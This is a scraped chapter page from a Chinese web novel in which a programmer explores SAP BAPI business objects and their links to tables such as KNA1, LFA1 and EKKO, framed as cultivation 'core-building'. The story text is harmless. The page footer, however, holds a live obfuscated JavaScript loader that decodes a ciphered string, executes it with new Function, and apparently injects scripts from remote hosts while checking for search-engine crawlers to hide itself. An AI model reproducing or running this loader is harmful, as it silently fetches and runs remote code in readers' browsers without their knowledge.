- 首页
- 都市
- 凡人码农加SAP加XR征服世界
- 第42章 结丹第6层(第1页)
第42章 结丹第6层(第1页)
章节目录保存书签
张伟磨刀霍霍,带着10个大杀器,就攻入了bapi的腹地,开始了正式的探宝!进入bapi界面后,张伟开始了剖析,界面有两种查找bapi的方式,一种是层级菜单模式,一种是关键字模式,张伟准备了10个探索的诱饵,直接奔着关键字模式就去了!首先是主数据,按照关键字往下,没滑动多少,就找到了“ctor”客户主数据!毕竟是字母c开头!进去后,张伟发现,点开后,下拉很多具体的bapi,有“create、edit、chan、delete”等等,拉下来有几十个bapi!目光移到了右边,张伟发现了熟悉的身影“kna1”,非常好,自己写报表用过无数次的客户主数据的表,但是在这里这个“kna1”的抬头名变了,变成了“objecttype”对象类型?什么鬼!为什么不叫table名了?叫“objecttype”这是几个意思?object,对象,面相对象?张伟想起,结出实心蓝丹时,对程序语言进行了分代,第一代面向机器如汇编语言,第二代面向过程如c语言,第三代面向对象如java语言,第四代面向应用如张伟现在做sap的abap语言,当然后面张伟对第四代又进行了细化,第四代,应该是面向特定方向的应用,张伟现在这个abap语言,就只能在sap里使用,只能编辑sap的程序,不能编辑其他需求的程序,因此应用起来很窄,但是封装非常的完善,基本上把erp这个领域的常规处理逻辑都封装好了,直接使用即可!因此第四代会有很多种面向最终应用的语言,比如面向动画的、面向工程的只在自己领域使用的编程语言!而张伟结出的sap实心蓝丹,是没有第三层面向对象程序层的,从c语言层,直接就到了abap层!当时张伟是有点想不通的!觉得这和自己划分的4代编程语言,有冲突,中间少了一层!当时想如果中间加一层面向对象层,可是abap又不是面向对象,张伟编程时明显没有感受到,面向对象的程序思维习惯!abap给张伟的感觉就是简单,比java,c等这些正统的面向对象编程语言来说,就太简单了,而且编程效率很高,基本就是直接面向最终用户需求去的!因此张伟就把当时结出的sap蓝丹直接把第三层定义成了abap程序层!可是现在打算结第六层丹时,居然跳出了这么一个“object”的玩意,张伟就有点懵圈了!而且跳出的这个还是对“kna1”客户主数据表!难道是把kna1看做一个对象,进行bapi编程?张伟诞生了这个想法,异常的兴奋,可能第六层一开局就封层结丹了,同时好像觉得很合理,那么需要验证下了!张伟手上准备的大杀器,探路诱饵还有很多,现在才用了一个“客户主数据”甚至都还没用完,就有收获了,现在需要抛出第二枚、第三枚诱饵了!张伟很是兴奋啊,可以抛诱饵,代表鱼儿已经上钩了啊!可以往前猛攻了!丢第二个探路诱饵“vendor”供应商主数据,v首字母排在最后,张伟基本上拉到了底部才找到!张伟迫不及待的点开,心中默念这“lfa1”,这是供应商主数据的表,点击后迅速看向了右边的信息栏!我靠!果然!熟悉的“lfa1”表出现在眼前,nnd多么熟悉的表!lfa1自己在当时的报表编写中使用了无数次,对这个表简直是如数家珍!现在他在自己期待的位置,“objecttype”的后面就是“lfa1”该放第三个探路诱饵“aterial:物料主数据”了,张伟期待的点开了这个菜单,心中无比笃定,出现那个意料之中的,熟悉表名“ara”自己写报表,用过无数次的物料主数据表!当点开这个界面时,张伟石化了!不是期待中的“ara”而是一个完全陌生的“objecttype:b1001”!我靠什么情况!上面明明标注的对象名是“aterial”为什么对象类型不是“ara”?张伟有点丈二和尚摸不着头脑了!懵叉叉了!张伟马上又抛出了,剩下的诱饵!都是那种不认识的,不熟悉的对象类型名!张伟有点晕晃晃的了,难道前面两个自己眼花了!看错了!于是张伟又去看了客户、供应商主数据,没有变啊!就是那两个表“kan1和lfa1”没有错啊!那为什么只有这两个,而其他的都不是了?张伟陷入了困惑!难道自己的推导逻辑错了么吗?张伟有点自我怀疑了!张伟想,abap语言跨越了一个程序语言分代,那么中间肯定需要在某个地方补齐的,现在自己差不多找到了这个分代的补齐地方了!,!那为什么,前面两个是自己认为正确的面向对象逻辑思维,设定的对象!而后面这些都不是了?这是为什么啊!但是他们的对象名,都是对的!物料的对象名“aterial”,采购订单的对象名“purchaseorder”,但是他们的对象类型,为什么不是对应的数据表名了?nnd!这是什么情况!张伟有点抓狂了!对象名是和自己面向对象的认知匹配的!可是对象类型不是啊!fuck!哪里出错了!哪里有问题?张伟想抓耳挠腮!办公室的环境有点不允许!nnd,厕所,放点水去!换换脑子!回来后,张伟心情有点平复了!张伟不知道哪根筋搭错了,双击了下对象名!我靠!暗门!居然有暗门!跳出新的内容了!新大陆!nnd还有暗门啊!这宝藏设计的也够精巧的!哈哈!张伟有种柳暗花明的感觉啊!点进去后,映入眼帘的是“bessobject:b2012purchaseorder”!名字变了!变成了商业对象!或者叫业务对象,更加的贴切!张伟现在这个对英文的翻译能力,练出来了,不过仅仅只针对这种,sap专业的词汇翻译!而且是单词模式,不是那种整句整句的!“业务对象”!妥了,这个命名妥了!对啊就应该叫业务对象!采购订单,就是一种业务形态的单体啊!也就是一种业务对象啊!如果用表反而不对,因为采购订单,有两个表,一个单头,一个单身!用表反而不对,用业务对象反而是对的!但是,至少有“ekko”这个实体的表数据对象存在吧,找找看?张伟往下看,还有5个下拉菜单,都是合起来的,其中有一个“keyfields”关键字段!这不就是表么!张伟兴奋的点开!我嘞个去!妥了!“ekko”!心心念念,梦寐以求,朝思梦想,张伟把所有能想到,思念一个人的词语都想了一遍!对着这个ekko在心里默念了一通!nnd!妥了!张伟这才仔细看了下另外4个菜单内容,更加妥了!就是面向对象的思维啊!他们是“terfaces:接口,attributes:属性,thods:方法,events:事件”!nnd妥妥的面向对象设计思路啊!张伟发现与采购订单处理相关的,所有bapi都在thods:方法里!张伟立马查看了自己准备的其他几个诱饵!nnd!妥了,都是这样的结构!包括最开始的供货商、客户主数据,也是一样!张伟觉得,这个“bessobject:业务对象”的取名,简直是太贴切了!客户、供应商主数据为什么直接用数据表名来当业务类型名,估计是太简单了,直接就用表名了!而其他为什么不用?因为复杂了啊!业务对象需要涵盖太多的对象实体,直接用表名实体,估计涵盖不住吧!或者干脆就是那个程序当时懒!搞个简单的名字!哈哈!张伟觉得懒这个解释是正解!基于奥卡姆剃刀推导而来的结论!张伟为什么特别在意这个表,和对象的关联啊?以及这个bessobject:业务对象取名觉得很贴切啊!张伟推导的sap结丹,是层状的,其次是网状的!现在张伟结出的第5层,是数据表,第五层和第四层的字段是链接的,第五层表间也是链接的,其实表间的链接张伟是基于自己写报表推导出来的,而没找到实例佐证,现在还差向上第六层和表的联系了!现在妥了了!因为业务对象啊“bessobject:业务对象”,比如采购订单,有两个实体表“ekko,ekpo”,而客户主数据,一个表就行“kna1”,因此对采购订单这种,有多个实体对象的,如果从业务对象的角度,就不能只用一个表名,来定义对象类型了!就得重新命名了!以采购订单为例,ekko,ekpo,这两个实体表,组合成了一个业务实体,采购订单,也就是业务对象!这才是,当时自己为什么只找到供应商,客户的业务对象类型,就是表名,其他的都是被重新定义了业务类型名的真正原因!同时这也是第六层真正的联系!每个业务对象,包裹了一个,或者几个实体的表!表和业务对象,在bapi里,基于业务逻辑融合在一起了!也就是表间关系,其实是被bapi定义的,张伟之前认为表和表之间有联系,仅仅是从结果来考虑的,因为报表取数需要他们联系在一起,才能取到正确的报表数据!而为什么要联系,怎么联系的,张伟是不知道的!现在都知道了,因为是由bapi帮他们联系起来的啊!第六层结丹,正式完成了!第五层是表,第六层是bapi层!或者叫业务对象层!一个业务对象,有很多个bapi!每个bapi,定义了表间的关系!第五层从此和第六层贯通了!张伟把sap的结丹道统,推向了第6层!结出了拥有123456层的实心sap蓝丹!:()凡人码农加sap加xr征服世界
上一章章节目录下一章
温馨提示:按 ←键 返回上一页, 按 →键 进入下一页,不需要加入书签,进入阅读记录方便您下次继续阅读。
凡人码农加SAP加XR征服世界所有内容均来自互联网,126文学网只为原作者作家5TTPWu的小说进行宣传。欢迎各位书友支持作家5TTPWu并收藏凡人码农加SAP加XR征服世界最新章节。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();